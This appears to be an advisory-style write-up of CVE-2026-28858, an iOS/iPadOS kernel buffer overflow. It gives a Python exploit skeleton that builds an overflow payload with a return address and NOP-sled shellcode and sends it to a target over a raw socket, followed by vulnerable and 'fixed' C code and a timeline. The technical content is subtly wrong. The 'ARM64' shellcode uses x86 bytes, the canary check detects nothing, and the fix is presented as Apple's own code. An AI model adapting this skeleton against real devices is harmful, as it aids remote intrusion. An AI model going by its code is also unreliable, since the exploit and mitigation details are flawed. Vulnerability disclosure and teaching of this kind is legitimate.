╔══════════════════════════════════════════════════════════════╗
║  SEVERITY: CRITICAL  │  CVSS: 9.8  │  CWE-120  │  REMOTE    ║
╚══════════════════════════════════════════════════════════════╝

# Conceptual representation of the overflow
import socket

# 1. Fill of the allocated buffer (~512 bytes typical in kernel handlers)
buffer_fill = b"A" * 512

# 2. Overwritten return address — points to attacker-controlled zone
# In real iOS/iPadOS: requires ASLR bypass + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"

# 3. Shellcode: NOP sled + malicious instructions for ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..."  # NOP sled + payload

payload = buffer_fill + return_address + shellcode

# Remote delivery without user interaction
# Example: network packet with manipulated length field

import struct

def craft_malicious_packet(target_ip: str, target_port: int):
    """
    Creates a packet with malformed metadata that the iOS kernel
    processes in the background (without user UI).
    E.g., TLS certificate, image metadata, network protocol field.
    """
    # Legitimate protocol header
    header = struct.pack(">HH", 0x0001, 0xFFFF)  # type=1, length=OVERFLOW

    # Payload that exceeds the kernel buffer
    malicious_data = header + payload

    with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
        s.sendto(malicious_data, (target_ip, target_port))

[Network/WiFi/BT] → Malformed packet
      ↓
[iOS background process] → Reads "length" field = 0xFFFF
      ↓
[memcpy(kernel_buffer, data, 0xFFFF)] → WITHOUT BOUNDS CHECKING
      ↓
[Overflow: shellcode written over kernel stack/heap]
      ↓
[Processor redirected to attacker's return_address]
      ↓
[Execution with ring 0 / kernel privileges]

/* ❌ VULNERABLE CODE (before the patch) */
void process_input(char *user_data, size_t length) {
    char kernel_buffer[512];
    memcpy(kernel_buffer, user_data, length); // WITHOUT checking
}

/* ✅ FIXED CODE (iOS/iPadOS 26.4) */
void process_input(char *user_data, size_t length) {
    char kernel_buffer[512];

    // Bounds check — fix applied by Apple
    if (length > sizeof(kernel_buffer)) {
        kernel_log("CVE-2026-28858: input truncated [%zu > 512]", length);
        return; // Abort before copying
    }

    memcpy(kernel_buffer, user_data, length);
}

/* Defense-in-depth mechanism: Stack Canary */
#include <string.h>

#define CANARY_VALUE 0xDEADBEEFCAFEBABE

void process_input_secure(char *user_data, size_t length) {
    uint64_t canary = CANARY_VALUE;
    char secure_buffer[512];

    if (length > sizeof(secure_buffer)) {
        log_security_event("Overflow attempt blocked");
        return;
    }

    memcpy(secure_buffer, user_data, length);

    // Verify canary integrity post-copy
    if (canary != CANARY_VALUE) {
        panic("Stack smashing detected — CVE-2026-28858");
    }
}

Update to iOS 26.4 / iPadOS 26.4 or later

23 Mar 2026  → Initial publication (EUVD)
24 Mar 2026  → Apple Advisory #126792 published
24 Mar 2026  → First mention detected (Feedly)
24 Mar 2026  → CVSS estimation by automated analysis
25 Mar 2026  → NVD assigns CVSS 9.8 — Critical
25 Mar 2026  → Detection added to Qualys (ID: 610773)
26 Mar 2026  → Status: Analyzed